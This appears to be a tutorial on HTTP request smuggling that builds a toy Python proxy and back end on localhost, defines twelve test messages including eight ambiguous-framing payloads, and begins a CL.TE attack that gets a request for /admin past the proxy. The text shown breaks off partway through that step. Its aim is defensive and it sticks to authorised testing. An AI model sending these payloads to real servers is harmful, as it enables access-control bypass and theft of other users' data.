How to Find and Stop HTTP Request Smuggling: Smuggle a Request Past a Toy Proxy in Python, Test uvicorn and nginx, and Write a Strict Parser That Refuses Ambiguous Messages
Build a toy proxy and back end in Python, smuggle a request for /admin past the proxy’s access rule, send the same twelve hostile messages to http.server, uvicorn and nginx 1.30.6, then write and...
A guard at the front door of a building and a clerk at the desk inside each read the same stack of paperwork. The guard has one rule: nobody gets to the admin office. Now suppose the two of them disagree about where the first form ends. The guard decides the whole stack is one harmless form and waves it through. The clerk decides the first form ended early and treats the rest of the stack as a second, brand new request that nobody checked. That disagreement is the whole idea behind HTTP request smuggling. In this tutorial you will build the attack against a toy server on your own machine, measure how real software reacts to the same messages, and then write and test a parser that refuses to guess.
Table Of Content
- What you will build, and why it matters
- The five ideas you need first
- Prerequisites
- Step 1: Create the lab folder and install the tools
- Step 2: Learn how an HTTP/1.1 request knows where it ends
- The Policy switches
- The Reader
- parse_head and decide
- read_chunked and read_request
- requests_in and cell
- Run it
- Step 3: Meet the twelve test messages and the four toy parsers
- Step 4: Build the toy front end and back end and smuggle a request past the access rule
- Step 5: Try the other attack shapes: TE.CL, obfuscated headers, and repeated lengths
- Step 6: See what real software does with the same twelve messages
- Ordinary traffic
- http.server
- uvicorn with h11
- uvicorn with httptools
- nginx 1.30.6 in front
- One more experiment: real back ends behind the toy front end
- Step 7: Why Python’s int() is the wrong tool for Content-Length
- Step 8: Write the strict framer and compare the defences
- Step 9: Test the strict framer and prove the tests would notice a broken rule
- Step 10: Probe your own servers
- What to change in a real deployment
- Common mistakes and gotchas
- Check that everything works end to end
- Where to go next
- Sources
What you will build, and why it matters
PortSwigger’s Web Security Academy defines the attack in one sentence: “HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.” It adds that these vulnerabilities are “often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.” MITRE files the weakness as CWE-444, Inconsistent Interpretation of HTTP Requests, and describes the cause as a product that acts as an intermediary “but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.”
That is abstract, so here is what you will have at the end of this lab:
- A small HTTP/1.1 request framer in Python (
wire.py) whose rules you can switch, so you can see exactly which choice a parser makes. - A toy front end (a proxy with an access rule that blocks
/admin) and a toy back end, and a working attack that gets a request for/adminpast the rule and then hands a different user’s private page to the attacker. - A table showing how Python’s
http.server, uvicorn with theh11parser, uvicorn with thehttptoolsparser, and nginx 1.30.6 answer the same twelve messages. - A strict framer that refuses every ambiguous message, 60 tests for it, and a check that plants 19 bugs one at a time to prove the tests would notice.
- A probe script you can point at your own servers to find out how they behave.
Everything runs on 127.0.0.1. Send these messages only to servers you own or are explicitly authorized to test. Nothing in the lab needs to touch anyone else’s machine, and none of it should.
The five ideas you need first
Request smuggling is easy to follow once five terms are clear. Read them once now and refer back as needed.
- Front end and back end. The front end is the server visitors reach first: a reverse proxy, load balancer, CDN or web application firewall. It applies rules such as “nobody may request
/admin” and passes everything else on. The back end is the application server behind it. - Persistent connection. HTTP/1.1 keeps a TCP connection open and sends one request after another through it. Front ends usually keep a few such connections open to the back end and push requests from many different visitors through them, because opening a new connection for every request is slow.
- Framing. A TCP connection is a stream of bytes with no built-in message boundaries. The receiver learns where a request ends only from the request’s own headers.
Content-Length: 5means five body bytes follow.Transfer-Encoding: chunkedmeans the body arrives in chunks, each starting with its size in hexadecimal and ending with a chunk of size zero. - Desynchronization. If the front end and the back end work out different answers to “where does this request end?”, the bytes one of them treats as the body are bytes the other treats as the start of the next request. The two servers are now out of step.
- Smuggled request. The attacker’s hidden request lives in those leftover bytes. The front end never inspected it as a request, so its rules never applied to it.
The rule book is RFC 9112. Section 6.3 lists the ways a message’s length is determined, and item 3 is the one this whole article revolves around: “If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 11.2) or response splitting (Section 11.1) and ought to be handled as an error.” Servers are allowed to accept such a message, they are told they ought to treat it as an error, and in practice they differ. The rest of the tutorial measures what that difference costs.
Prerequisites
You need Python 3.13 (the lab ran on 3.13.14), a terminal, and about forty minutes. This guide shows commands for Git Bash on Windows 11, which is where it was tested. On Linux or macOS replace .venv/Scripts/python with .venv/bin/python. Steps 1 to 5 and 7 to 9 need nothing but Python. Step 6 also runs nginx 1.30.6 from its Windows zip, and its helper script uses taskkill to stop servers, so on another system you would install nginx with your package manager and swap that call for proc.terminate(). You should know how to run a Python script and read a stack trace. You do not need to know anything about HTTP internals; that is what you are here to learn.
Step 1: Create the lab folder and install the tools
Make a folder named smuggle_lab and save the following as setup.sh inside it. It creates a virtual environment, installs the four packages the lab uses, downloads the nginx 1.30.6 Windows build from nginx.org (the stable version listed on the nginx download page when this was written), unzips it, and prints the versions it ended up with.
python -m venv .venv
.venv/Scripts/python -m pip install --quiet uvicorn==0.54.0 h11==0.16.0 httptools==0.9.0 pytest==9.2.0
curl -sLO https://nginx.org/download/nginx-1.30.6.zip
.venv/Scripts/python -c "import zipfile; zipfile.ZipFile('nginx-1.30.6.zip').extractall('.')"
.venv/Scripts/python -c "import sys, uvicorn, h11, httptools, pytest; print(sys.version.split()[0], uvicorn.__version__, h11.__version__, httptools.__version__, pytest.__version__)"
Run it with bash setup.sh. The last line it prints should look like this (Python, uvicorn, h11, httptools, pytest):
3.13.14 0.54.0 0.16.0 0.9.0 9.2.0
What each package is for: uvicorn is an ASGI web server. It can parse HTTP with either of two libraries, selected by its --http flag, which the uvicorn settings page describes as “Set the HTTP protocol implementation”. h11 is a pure Python HTTP/1.1 parser. httptools wraps a C parser. pytest runs the tests in Step 9. Running ls nginx-1.30.6 should list nginx.exe and a conf folder. If the download failed, the rest of the lab still works except Step 6’s nginx column.
You will create these files as you go. Keep them all in the same folder, because they import each other.
wire.py the framer: where does a request end?
corpus.py twelve test messages
toy.py toy front end and back end
scenario.py send one hostile message, then two innocent requests
step01 to step07 the experiments, one script per step
harness.py starts uvicorn and nginx for Step 6
asgi_app.py a tiny web app for uvicorn
asgi_echo.py the same app, but it echoes method and path
probe.py sends the twelve messages to any server you own
test_wire.py the tests, mutate.py the planted-bug check
run_all.py runs everything and saves the output
Step 2: Learn how an HTTP/1.1 request knows where it ends
Start with the concept, because everything else depends on it. When a web server reads from a connection, it first reads the header block, which ends at the first empty line. Then it must decide how many more bytes belong to this request. Three cases cover almost everything:
- No
Content-Lengthand noTransfer-Encoding: there is no body, and the next byte begins the next request. Content-Length: N: exactly N bytes follow, and then the next request begins.Transfer-Encoding: chunked: the body is a series of chunks. Each chunk is its size in hexadecimal, a line break, that many bytes, and another line break. A chunk of size zero ends the body.
Nothing else marks the boundary. If two programs pick different cases for the same bytes, they disagree about where the next request starts. To study that without guessing, you will write one small framer and give it switches for every choice real parsers make differently. Save this as wire.py:
# wire.py
"""A tiny HTTP/1.1 request framer with switchable rules.
Every Policy is a different answer to one question: where does this request end?
"""
import re
from dataclasses import dataclass
class Reject(Exception):
"""The parser refuses the message: send this status and close the connection."""
def __init__(self, status, why):
super().__init__(f"{status} {why}")
self.status = status
self.why = why
@dataclass(frozen=True)
class Policy:
name: str
te_match: str = "exact" # "exact": the value is exactly chunked; "contains": the word chunked appears anywhere
te_wins: bool = True # with both headers present, Transfer-Encoding frames the body
trim_names: bool = False # tolerate spaces between a header name and its colon
lone_lf: bool = False # accept a bare LF as a line ending
cl_pick: str = "first" # which Content-Length counts when there are several
cl_digits_only: bool = False # refuse anything but 0-9 in Content-Length (otherwise Python's int() decides)
strict: bool = False # refuse every ambiguity instead of guessing
CL_FIRST = Policy("cl-first", te_wins=False)
TE_EXACT = Policy("te-exact", cl_digits_only=True)
TE_LENIENT = Policy("te-lenient", te_match="contains", trim_names=True, lone_lf=True, cl_pick="last")
STRICT = Policy("strict", strict=True)
PARSERS = [CL_FIRST, TE_EXACT, TE_LENIENT, STRICT]
CRLF_BLANK = re.compile(rb"\r\n\r\n")
ANY_BLANK = re.compile(rb"\r?\n\r?\n")
TOKEN = rb"[!#$%&'*+\-.^_`|~0-9A-Za-z]+"
STRICT_FIELD = re.compile(rb"(" + TOKEN + rb"):[ \t]*([^\x00-\x08\x0a-\x1f\x7f]*?)[ \t]*")
REQUEST_LINE = re.compile(rb"([A-Za-z]+) (\S+) (HTTP/1\.[01])")
HEX_SIZE = re.compile(rb"[0-9A-Fa-f]{1,15}")
class Reader:
"""Reads bytes from any source: source() returns more bytes, or b'' at the end."""
def __init__(self, source):
self.source = source
self.buf = bytearray()
def more(self):
chunk = self.source()
if not chunk:
raise EOFError
self.buf += chunk
def take(self, n):
while len(self.buf) < n:
self.more()
out = bytes(self.buf[:n])
del self.buf[:n]
return out
def head(self, lone_lf):
pattern = ANY_BLANK if lone_lf else CRLF_BLANK
while True:
m = pattern.search(self.buf)
if m:
return self.take(m.end())
self.more()
def line(self, lone_lf):
mark = b"\n" if lone_lf else b"\r\n"
while True:
i = self.buf.find(mark)
if i >= 0:
return self.take(i + len(mark))
self.more()
@dataclass
class Message:
method: str
target: str
version: str
headers: list
raw: bytes # every byte this request occupied on the wire
body: bytes # the decoded body
framing: str # none, length or chunked
def header(self, name):
for n, v in self.headers:
if n.lower() == name.lower().encode():
return v.decode("latin-1")
return None
def parse_head(head, p):
if p.strict and not head.endswith(b"\r\n\r\n"):
raise Reject(400, "line endings must be CRLF")
lines = re.split(rb"\r?\n" if p.lone_lf else rb"\r\n", head)[:-2]
m = REQUEST_LINE.fullmatch(lines[0])
if not m:
raise Reject(400, "bad request line")
headers = []
for line in lines[1:]:
if p.strict:
f = STRICT_FIELD.fullmatch(line)
if not f:
raise Reject(400, "malformed header line")
headers.append((f.group(1), f.group(2)))
continue
name, colon, value = line.partition(b":")
if not colon:
raise Reject(400, "header line without a colon")
headers.append((name.strip(b" \t") if p.trim_names else name, value.strip(b" \t")))
return m.group(1).decode(), m.group(2).decode("latin-1"), m.group(3).decode(), headers
def parse_length(value, p):
if p.cl_digits_only and not re.fullmatch(rb"[0-9]+", value):
raise Reject(400, "Content-Length is not all digits")
try:
n = int(value) # Python accepts b"+5", b" 5" and b"1_0" here
except ValueError:
raise Reject(400, "bad Content-Length") from None
if n < 0:
raise Reject(400, "negative Content-Length")
return n
def decide_strict(cl, te, version):
if cl and te:
raise Reject(400, "both Content-Length and Transfer-Encoding")
if len(cl) > 1 or len(te) > 1:
raise Reject(400, "repeated Content-Length or Transfer-Encoding")
if te:
if te[0].lower() != b"chunked":
raise Reject(400 if b"chunked" in te[0].lower() else 501, "only a bare chunked coding is accepted")
if version != "HTTP/1.1":
raise Reject(400, "Transfer-Encoding needs HTTP/1.1")
return "chunked", None
if cl:
if not re.fullmatch(rb"[0-9]{1,15}", cl[0]):
raise Reject(400, "Content-Length must be 1 to 15 ASCII digits")
return "length", int(cl[0])
return "none", None
def decide(headers, version, p):
cl = [v for n, v in headers if n.lower() == b"content-length"]
te = [v for n, v in headers if n.lower() == b"transfer-encoding"]
if p.strict:
return decide_strict(cl, te, version)
if p.te_match == "exact":
chunked = any(v.lower() == b"chunked" for v in te)
else:
chunked = any(b"chunked" in v.lower() for v in te)
if chunked and (p.te_wins or not cl):
return "chunked", None
if cl:
return "length", parse_length(cl[0] if p.cl_pick == "first" else cl[-1], p)
return "none", None
def read_chunked(r, p):
raw, body = bytearray(), bytearray()
while True:
line = r.line(p.lone_lf)
raw += line
text = line.rstrip(b"\r\n")
if p.strict:
if not HEX_SIZE.fullmatch(text):
raise Reject(400, "chunk size must be 1 to 15 hex digits")
size = int(text, 16)
else:
try:
size = int(text.split(b";", 1)[0].strip(), 16)
except ValueError:
raise Reject(400, "bad chunk size") from None
if size == 0:
while True: # the trailer section ends at an empty line
trailer = r.line(p.lone_lf)
raw += trailer
if trailer.rstrip(b"\r\n") == b"":
return bytes(raw), bytes(body)
data = r.take(size)
raw += data
body += data
end = r.line(p.lone_lf)
raw += end
if end.rstrip(b"\r\n") != b"" or (p.strict and end != b"\r\n"):
raise Reject(400, "chunk data not followed by a line break")
def read_request(r, p):
head = r.head(p.lone_lf or p.strict) # strict must see an LF-only block end too, so that it can refuse it
method, target, version, headers = parse_head(head, p)
framing, n = decide(headers, version, p)
raw_body = body = b""
if framing == "length":
raw_body = body = r.take(n)
elif framing == "chunked":
raw_body, body = read_chunked(r, p)
return Message(method, target, version, headers, head + raw_body, body, framing)
def requests_in(data, p):
"""Parse a whole byte stream: returns (messages, tail) where tail is '', 'wait' or a reject status."""
pending = [data]
r = Reader(lambda: pending.pop() if pending else b"")
seen = []
try:
while r.buf or pending:
seen.append(read_request(r, p))
except EOFError:
return seen, "wait"
except Reject as e:
return seen, str(e.status)
return seen, ""
def cell(data, p):
"""One short table cell: how many requests this parser finds in the bytes, and how it ended."""
seen, tail = requests_in(data, p)
parts = [str(len(seen))] if seen else []
if tail == "wait":
parts.append("waits for more")
elif tail:
parts.append("reject " + tail)
return " + ".join(parts)
Read the file in five pieces.
The Policy switches
A Policy is a bundle of answers to questions where real parsers differ. Does Transfer-Encoding win when both headers are present (te_wins)? Must the value be exactly chunked, or is it enough that the word appears (te_match)? Are spaces allowed between a header name and its colon (trim_names)? Is a bare line feed accepted as a line ending (lone_lf)? When there are two Content-Length headers, which one counts (cl_pick)? Must the length be plain digits, or does Python’s int() get to decide (cl_digits_only)? Or should the parser give up on anything unclear (strict)? The four profiles at the top of the file are the four parsers you will compare: cl-first, te-exact, te-lenient and strict.
The Reader
Reader sits in front of any source of bytes. take(n) returns exactly n bytes, head() returns everything up to the blank line that ends the headers, and line() returns one line. When the source runs dry in the middle of a message, it raises EOFError, which is how the parser notices a message that has not fully arrived yet.
parse_head and decide
parse_head turns the header block into a method, target, version and a list of header pairs. In lenient mode it splits each line at the first colon and strips whitespace. In strict mode every header line must match a grammar: a token, a colon, optional whitespace, a value with no control characters. decide is the heart of the file. It collects the Content-Length and Transfer-Encoding values and returns one of none, length or chunked. Every attack in this tutorial is two parsers answering this one function differently. decide_strict is the version that refuses to choose: it raises Reject for any message that is not unambiguous.
read_chunked and read_request
read_chunked follows the chunk rules and returns both the raw bytes it consumed and the decoded body. read_request puts the pieces together and returns a Message that remembers its raw bytes. A proxy that forwards raw bytes needs exactly that.
requests_in and cell
requests_in feeds a whole byte string to a policy and returns every request it finds, plus a tail: empty when the data ended cleanly, wait when a message was cut short, or a status code when the parser refused something. cell squeezes that into a short label for the tables that follow.
Run it
Save this as step01_framing.py. It uses corpus.py, which you will meet in Step 3 (save that file first if you are following along). The two messages used here are an ordinary Content-Length post and an ordinary chunked post, glued into one stream.
# step01_framing.py
from corpus import CASES
from wire import TE_EXACT, requests_in
stream = CASES["plain_cl"] + CASES["plain_chunked"] # two requests glued into one stream of bytes
seen, tail = requests_in(stream, TE_EXACT)
print(f"{len(stream)} bytes arrive -> {len(seen)} requests, tail {tail!r}")
for m in seen:
print(f" {m.method} {m.target} framing={m.framing:<7} bytes on the wire={len(m.raw):>3} decoded body={m.body!r}")
seen, tail = requests_in(stream[:20], TE_EXACT)
print(f"only the first 20 bytes -> {len(seen)} requests, tail {tail!r} (the parser waits for more)")
Run python step01_framing.py. You should see:
139 bytes arrive -> 2 requests, tail ''
POST / framing=length bytes on the wire= 60 decoded body=b'hello'
POST / framing=chunked bytes on the wire= 79 decoded body=b'hello'
only the first 20 bytes -> 0 requests, tail 'wait' (the parser waits for more)
The 139 bytes are 60 for the first message and 79 for the second; the parser found the boundary between them using nothing but the headers. The last line shows what a half-received message looks like: no complete request yet, and a tail of wait. To verify this step worked, check that you see two requests and that their framing is length then chunked. A common mistake is to think of HTTP as one line per request. It is a stream, and the only thing that separates the requests is what the headers say about the body length.
Step 3: Meet the twelve test messages and the four toy parsers
You now have a framer with switches. Next you need messages to feed it. Save this as corpus.py. It builds twelve messages as raw bytes: four ordinary ones that every parser should read the same way, and eight that two parsers could read differently. Two small helper constants, SMUGGLED and SMUGGLED_POST, are the hidden requests tucked inside the hostile messages. Both ask for /admin, the path the toy front end will refuse to forward.
# corpus.py
"""Twelve messages: four ordinary ones and eight that two parsers can read differently."""
HOST = b"Host: shop.test\r\n"
# A complete request the front end would refuse to forward.
SMUGGLED = b"GET /admin HTTP/1.1\r\n" + HOST + b"\r\n"
# The same idea for the other direction: its 7-byte body is the chunked terminator that follows it.
SMUGGLED_POST = b"POST /admin HTTP/1.1\r\n" + HOST + b"Content-Length: 7\r\n\r\n"
def post(*headers, body=b""):
return b"POST / HTTP/1.1\r\n" + HOST + b"".join(h + b"\r\n" for h in headers) + b"\r\n" + body
def chunked(data):
return b"%x\r\n" % len(data) + data + b"\r\n0\r\n\r\n"
def cl(n):
return b"Content-Length: %d" % n
CL_TE_BODY = b"0\r\n\r\n" + SMUGGLED # the chunked terminator first, the hidden request after it
SIZE_LINE = len(b"%x\r\n" % len(SMUGGLED_POST))
CASES = {
"plain_cl": post(cl(5), body=b"hello"),
"plain_chunked": post(b"Transfer-Encoding: chunked", body=chunked(b"hello")),
"te_mixed_case": post(b"TrAnSfEr-EnCoDiNg: ChUnKeD", body=chunked(b"hello")),
"te_tab_value": post(b"Transfer-Encoding:\tchunked", body=chunked(b"hello")),
"cl_te": post(cl(len(CL_TE_BODY)), b"Transfer-Encoding: chunked", body=CL_TE_BODY),
"te_cl": post(cl(SIZE_LINE), b"Transfer-Encoding: chunked", body=chunked(SMUGGLED_POST)),
"te_xchunked": post(cl(len(CL_TE_BODY)), b"Transfer-Encoding: xchunked", body=CL_TE_BODY),
"te_space_colon": post(cl(len(CL_TE_BODY)), b"Transfer-Encoding : chunked", body=CL_TE_BODY),
"te_lone_lf": post(cl(len(CL_TE_BODY)), b"X-Pad: a\nTransfer-Encoding: chunked", body=CL_TE_BODY),
"cl_two_values": post(cl(5), cl(5 + len(SMUGGLED)), body=b"hello" + SMUGGLED),
"cl_underscore": post(b"Content-Length: 1_0", body=b"0123456789" + SMUGGLED),
"obs_fold": post(cl(len(CL_TE_BODY)), b"Transfer-Encoding:\r\n chunked", body=CL_TE_BODY),
}
LEGIT = ["plain_cl", "plain_chunked", "te_mixed_case", "te_tab_value"]
HOSTILE = [name for name in CASES if name not in LEGIT]
Here is what each message is and what the RFCs say about it. The quotations are from RFC 9112, the HTTP/1.1 message syntax specification.
| Message | What is in it | What the RFC says |
|---|---|---|
plain_cl, plain_chunked |
Ordinary posts, one framed with Content-Length, one chunked. |
Nothing unusual. These are the controls. |
te_mixed_case |
The header name and the word chunked in odd capitalisation. | Legal: “All transfer-coding names are case-insensitive”, and header names are too. |
te_tab_value |
A tab character between the colon and the value. | Legal: RFC 9110 defines optional whitespace as OWS = *( SP / HTAB ). |
cl_te |
Both headers. Content-Length: 45 covers everything; chunked decoding ends after five bytes. |
The Transfer-Encoding overrides the Content-Length, and the message “ought to be handled as an error”. |
te_cl |
Both headers, the other way round. Content-Length: 4 covers only the first chunk-size line; chunked decoding covers a whole hidden request. |
Same rule as above. |
te_xchunked |
The value is xchunked, not chunked. |
“A server that receives a request message with a transfer coding it does not understand SHOULD respond with 501 (Not Implemented).” |
te_space_colon |
A space between the header name and the colon. | “A server MUST reject, with a response status code of 400 (Bad Request), any received request message that contains whitespace between a header field name and colon.” |
te_lone_lf |
A bare line feed that hides a Transfer-Encoding header inside the value of an earlier header. |
“a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.” The same section warns that “lenient parsing can result in request smuggling security vulnerabilities if there are multiple recipients of the message and each has its own unique interpretation of robustness”. |
cl_two_values |
Two Content-Length headers, 5 and 45. |
By my reading of section 6.3, item 5, a length that is not one valid value, or a list of identical values, is an unrecoverable error: “the server MUST respond with a 400 (Bad Request) status code and then close the connection.” |
cl_underscore |
Content-Length: 1_0, followed by ten body bytes and a hidden request. |
RFC 9110 defines the value as Content-Length = 1*DIGIT, so an underscore is invalid. |
obs_fold |
The value of Transfer-Encoding continues on a second line that starts with a space. |
A server “MUST either reject the message by sending a 400 (Bad Request)”, preferably with an explanation, “or replace each received obs-fold with one or more SP octets prior to interpreting the field value”. |
The four parsers you will compare are the four profiles in wire.py:
cl-firstusesContent-Lengthwhenever it is present and falls back to chunked only when it is not. Think of a back end or a simple proxy that mostly cares aboutContent-Length.te-exactletsTransfer-Encodingwin, but only for the exact valuechunked, and it rejects aContent-Lengththat is not made of digits.te-lenientaccepts the word chunked anywhere in the value, tolerates a space before the colon, accepts a bare line feed as a line ending, and uses the lastContent-Lengthwhen there are several.strictrefuses anything ambiguous.
These are toy parsers that I wrote to model the kinds of differences real software has, not copies of any product. Step 6 tests real products. Save this as step02_parsers.py and run it:
# step02_parsers.py
from corpus import CASES
from wire import PARSERS, cell, requests_in
print(f"{'message':<16}" + "".join(f"{p.name:<16}" for p in PARSERS))
for case, raw in CASES.items():
print(f"{case:<16}" + "".join(f"{cell(raw, p):<16}" for p in PARSERS))
lenient = PARSERS[:3] # the first three guess; strict refuses
split = [case for case, raw in CASES.items() if len({cell(raw, p) for p in lenient}) > 1]
print()
print("messages the three lenient parsers do not agree on:", ", ".join(split))
print("messages strict accepts:", ", ".join(case for case, raw in CASES.items() if not cell(raw, PARSERS[3]).startswith("reject")))
message cl-first te-exact te-lenient strict
plain_cl 1 1 1 1
plain_chunked 1 1 1 1
te_mixed_case 1 1 1 1
te_tab_value 1 1 1 1
cl_te 1 2 2 reject 400
te_cl 2 1 1 reject 400
te_xchunked 1 1 2 reject 400
te_space_colon 1 1 2 reject 400
te_lone_lf 1 1 2 reject 400
cl_two_values 2 2 1 reject 400
cl_underscore 2 reject 400 2 reject 400
obs_fold reject 400 reject 400 reject 400 reject 400
messages the three lenient parsers do not agree on: cl_te, te_cl, te_xchunked, te_space_colon, te_lone_lf, cl_two_values, cl_underscore
messages strict accepts: plain_cl, plain_chunked, te_mixed_case, te_tab_value
Read the table one row at a time. The first four rows are the controls: every parser finds exactly one request, including for the tab and mixed-case variants, so nothing legal gets lost by being strict. In the next eight rows the numbers differ across the three lenient parsers. In cl_te, cl-first finds one request while te-exact and te-lenient find two. In te_cl it is the other way round. In te_xchunked, te_space_colon and te_lone_lf, only te-lenient recognises the header, so it finds two requests where the others find one. In cl_two_values, the parsers that take the first Content-Length find two requests and the one that takes the last finds one. In cl_underscore, Python’s int() accepts 1_0 as ten for two of the parsers while te-exact refuses it. obs_fold is rejected by all four, because my toy parsers do not implement unfolding; real servers differ, as Step 6 shows.
The key sentence of the whole tutorial is this: a front end and a back end are at risk whenever they find a different number of requests in the same bytes. The last column shows that strict avoids every one of those disagreements by refusing the message with a 400 (or a 501 for an unknown coding) instead of picking an interpretation. To verify the step, check that the first four rows read 1 in every column, and that the last two lines name the disagreeing messages and the four messages strict accepts.
Step 4: Build the toy front end and back end and smuggle a request past the access rule
Now put two of those parsers on either side of a network connection. Save the next file as toy.py. It has three small classes.
# toy.py
"""A toy front end (proxy with an access rule) and a toy back end, both built on wire.py."""
import re
import socket
import threading
from wire import Reader, Reject, read_request
REASONS = {200: "OK", 400: "Bad Request", 403: "Forbidden", 404: "Not Found", 501: "Not Implemented", 502: "Bad Gateway"}
def sock_reader(sock):
def source():
try:
return sock.recv(65536)
except OSError:
return b""
return Reader(source)
def reply(status, text):
body = text.encode()
head = f"HTTP/1.1 {status} {REASONS[status]}\r\nContent-Type: text/plain\r\nContent-Length: {len(body)}\r\n\r\n"
return head.encode() + body
def read_response(reader):
head = reader.head(False)
n = int(re.search(rb"(?i)content-length: *(\d+)", head).group(1))
return head + reader.take(n)
def talk(port, raw, expect=1):
"""Open a new connection, send raw bytes, read this many responses. Returns (status, text) pairs."""
sock = socket.create_connection(("127.0.0.1", port), timeout=3)
try:
sock.sendall(raw)
reader = sock_reader(sock)
out = []
for _ in range(expect):
resp = read_response(reader)
out.append((int(resp.split(b" ", 2)[1]), resp.split(b"\r\n\r\n", 1)[1].decode()))
return out
finally:
sock.close()
class Server:
"""Accepts connections and runs self.handle(conn, reader) for each one in its own thread."""
def __init__(self):
self.listener = socket.create_server(("127.0.0.1", 0))
self.port = self.listener.getsockname()[1]
threading.Thread(target=self._accept, daemon=True).start()
def _accept(self):
while True:
try:
conn, _ = self.listener.accept()
except OSError:
return
threading.Thread(target=self._run, args=(conn,), daemon=True).start()
def _run(self, conn):
try:
self.handle(conn, sock_reader(conn))
except (EOFError, OSError):
pass
finally:
conn.close()
def close(self):
self.listener.close()
class Backend(Server):
def __init__(self, policy):
self.policy = policy
self.seen = [] # (method, target) of every request this server parsed
self.last = None # the most recent request, headers and all
super().__init__()
def handle(self, conn, reader):
while True:
try:
m = read_request(reader, self.policy)
except Reject as e:
conn.sendall(reply(e.status, e.why))
return
self.seen.append((m.method, m.target))
self.last = m
conn.sendall(self.route(m))
def route(self, m):
who = (m.header("Cookie") or "user=anonymous").split("=", 1)[1]
if m.method == "POST" and m.target == "/":
return reply(200, "Thanks, message received")
if m.target == "/":
return reply(200, "Shop home page")
if m.target == "/account":
return reply(200, f"Account of {who}: balance 1,200")
if m.target == "/admin":
return reply(200, "ADMIN PANEL: user list, refund button, API keys")
return reply(404, "Not found")
class Frontend(Server):
"""Parses each request with its own policy, refuses /admin, and forwards the raw bytes upstream."""
def __init__(self, policy, backend_port, reuse=True, deny="/admin"):
self.policy, self.backend_port, self.reuse, self.deny = policy, backend_port, reuse, deny
self.seen = []
self.up = None
self.lock = threading.Lock()
super().__init__()
def upstream(self):
if self.up is None:
sock = socket.create_connection(("127.0.0.1", self.backend_port))
self.up = (sock, sock_reader(sock))
return self.up
def drop_upstream(self):
if self.up is not None:
self.up[0].close()
self.up = None
def forward(self, raw):
with self.lock:
for _ in range(2):
sock, reader = self.upstream()
try:
sock.sendall(raw)
resp = read_response(reader) # exactly one response per forwarded request
except (EOFError, OSError):
self.drop_upstream()
continue
if not self.reuse:
self.drop_upstream()
return resp
return reply(502, "Bad gateway")
def handle(self, conn, reader):
while True:
try:
m = read_request(reader, self.policy)
except Reject as e:
conn.sendall(reply(e.status, e.why))
return
self.seen.append((m.method, m.target))
if m.target.startswith(self.deny):
conn.sendall(reply(403, "Blocked by the front end"))
else:
conn.sendall(self.forward(m.raw))
Backend is the application. It reads requests with whatever policy you give it, remembers every request it parsed in seen, and serves four paths: the home page, an /account page that greets whoever the Cookie header names, an /admin panel, and a thank-you for a POST to /. Frontend is the guard. It parses each visitor’s request with its own policy, answers 403 itself for anything under /admin, and otherwise forwards the exact bytes it read to the back end over one shared, long-lived connection. Then it reads exactly one response from that connection and relays it. Two details matter. First, forwarding the raw bytes is what a simple pass-through proxy does. Second, the single shared connection is the efficiency trick that real front ends use. HTTP/1.1 responses carry no request identifier. RFC 9112 requires a server to send responses “in the same order that the requests were received”, so a proxy that shares a connection can only match each response to a request by its position in the queue.
The helper talk opens a fresh connection, sends bytes and reads the responses. Next, scenario.py packages the experiment that Steps 4 and 5 repeat: send one hostile message, then let Alice ask for her account page, then let the attacker ask for the home page.
# scenario.py
"""Send one hostile message through a toy front end, then let two innocent requests follow it."""
import time
from corpus import CASES
from toy import Backend, Frontend, talk
ALICE = b"GET /account HTTP/1.1\r\nHost: shop.test\r\nCookie: user=alice\r\n\r\n"
HOME = b"GET / HTTP/1.1\r\nHost: shop.test\r\n\r\n"
ADMIN = b"GET /admin HTTP/1.1\r\nHost: shop.test\r\n\r\n"
def run(case, front_policy, back_policy, reuse=True):
back = Backend(back_policy)
front = Frontend(front_policy, back.port, reuse=reuse)
try:
attack = talk(front.port, CASES[case])[0] # the attacker sends the hostile message
alice = talk(front.port, ALICE)[0] # then Alice asks for her own account page
attacker = talk(front.port, HOME)[0] # then the attacker asks for the home page
time.sleep(0.3) # let the back end finish logging
return {"attack": attack, "alice": alice, "attacker": attacker, "front": list(front.seen), "back": list(back.seen)}
finally:
front.close()
back.close()
def verdict(res):
"""Short facts about one run."""
return {
"front_parsed": len(res["front"]),
"back_parsed": len(res["back"]),
"hidden_ran": ("GET", "/admin") in res["back"] or ("POST", "/admin") in res["back"],
"alice_got_her_page": res["alice"][1].startswith("Account of alice"),
"attacker_got_alices_page": res["attacker"][1].startswith("Account of alice"),
}
Finally, the first attack. Save this as step03_clte.py. The front end reads Content-Length first and the back end reads Transfer-Encoding first. That pairing is called CL.TE.
# step03_clte.py
import time
from corpus import CASES
from scenario import ADMIN, ALICE, HOME
from toy import Backend, Frontend, talk
from wire import CL_FIRST, TE_EXACT
back = Backend(TE_EXACT) # reads Transfer-Encoding first
front = Frontend(CL_FIRST, back.port) # reads Content-Length first
def ask(who, label, raw):
status, text = talk(front.port, raw)[0]
print(f" {who:<9} {label:<14} -> {status} {text}")
print("control: the front end refuses /admin")
ask("attacker", "GET /admin", ADMIN)
front.seen.clear() # start the books again before the attack
print("attack: the cl_te message, then two innocent requests")
ask("attacker", "POST / (cl_te)", CASES["cl_te"])
ask("alice", "GET /account", ALICE)
ask("attacker", "GET /", HOME)
time.sleep(0.3)
print("front end parsed:", front.seen)
print("back end parsed: ", back.seen)
Before you run it, look at the hostile message. These are the bytes of cl_te, with notes on how each parser reads them:
POST / HTTP/1.1\r\n
Host: shop.test\r\n
Content-Length: 45\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n chunked reader: the body is over after these 5 bytes
\r\n
GET /admin HTTP/1.1\r\n Content-Length reader: part of the 45-byte body
Host: shop.test\r\n chunked reader: a brand new request starts at "GET"
\r\n
The front end counts 45 body bytes (the five bytes 0\r\n\r\n plus the 40-byte hidden request) and sees one harmless POST /. The back end stops after the zero-size chunk, answers the POST, and treats the leftover 40 bytes as the start of the next request on the connection. Run python step03_clte.py:
control: the front end refuses /admin
attacker GET /admin -> 403 Blocked by the front end
attack: the cl_te message, then two innocent requests
attacker POST / (cl_te) -> 200 Thanks, message received
